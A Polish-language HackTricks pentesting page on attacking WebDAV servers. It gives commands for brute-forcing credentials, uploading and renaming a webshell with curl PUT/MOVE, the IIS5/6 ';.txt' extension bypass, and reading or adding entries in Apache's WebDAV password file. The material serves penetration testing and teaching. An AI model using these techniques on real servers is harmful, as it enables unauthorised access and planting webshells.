WebDav
Reading time: 4 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Kiedy mamy do czynienia z serwerem HTTP z włączonym WebDav, możliwe jest manipulowanie plikami, jeśli posiadasz odpowiednie dane uwierzytelniające, zazwyczaj weryfikowane przez HTTP Basic Authentication. Uzyskanie kontroli nad takim serwerem często wiąże się z przesyłaniem i uruchamianiem webshella.
Dostęp do serwera WebDav zazwyczaj wymaga ważnych danych uwierzytelniających, a bruteforce WebDav jest powszechną metodą ich pozyskiwania.
Aby obejść ograniczenia dotyczące przesyłania plików, szczególnie te uniemożliwiające wykonywanie skryptów po stronie serwera, możesz:
- Przesyłać pliki z rozszerzeniami wykonywalnymi bezpośrednio, jeśli nie są ograniczone.
- Zmień nazwę przesyłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne.
- Kopiować przesyłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne.
DavTest
Davtest próbuje przesłać kilka plików z różnymi rozszerzeniami i sprawdza, czy rozszerzenie jest wykonywane:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
To nie oznacza, że rozszerzenia .txt i .html są wykonywane. To oznacza, że możesz uzyskać dostęp do tych plików przez sieć.
Cadaver
Możesz użyć tego narzędzia, aby połączyć się z serwerem WebDav i wykonać akcje (takie jak przesyłanie, przenoszenie lub usuwanie) ręcznie.
cadaver <IP>
Żądanie PUT
curl -T 'shell.txt' 'http://$ip'
Żądanie MOVE
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
IIS5/6 WebDav Vulnerability
Ta luka jest bardzo interesująca. WebDav nie pozwala na przesyłanie lub zmienianie nazw plików z rozszerzeniem .asp. Ale możesz obejść to dodając na końcu nazwy ";.txt" i plik będzie wykonywany tak, jakby był plikiem .asp (możesz również użyć ".html" zamiast ".txt", ale NIE zapomnij o ";").
Następnie możesz przesłać swój shell jako plik ".txt" i skopiować/przenieść go do pliku ".asp;.txt". Uzyskując dostęp do tego pliku przez serwer WWW, zostanie on wykonany (cadaver powie, że akcja przeniesienia się nie powiodła, ale tak się stało).
Post credentials
Jeśli Webdav używał serwera Apache, powinieneś spojrzeć na skonfigurowane witryny w Apache. Zwykle:
/etc/apache2/sites-enabled/000-default
Wewnątrz możesz znaleźć coś takiego:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
Jak widać, są pliki z ważnymi credentials dla serwera webdav:
/etc/apache2/users.password
Wewnątrz tego typu plików znajdziesz nazwa użytkownika oraz hash hasła. To są dane uwierzytelniające, które serwer webdav używa do autoryzacji użytkowników.
Możesz spróbować je złamać, lub dodać więcej, jeśli z jakiegoś powodu chcesz uzyskać dostęp do serwera webdav:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
Aby sprawdzić, czy nowe dane uwierzytelniające działają, możesz zrobić:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
Odniesienia
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.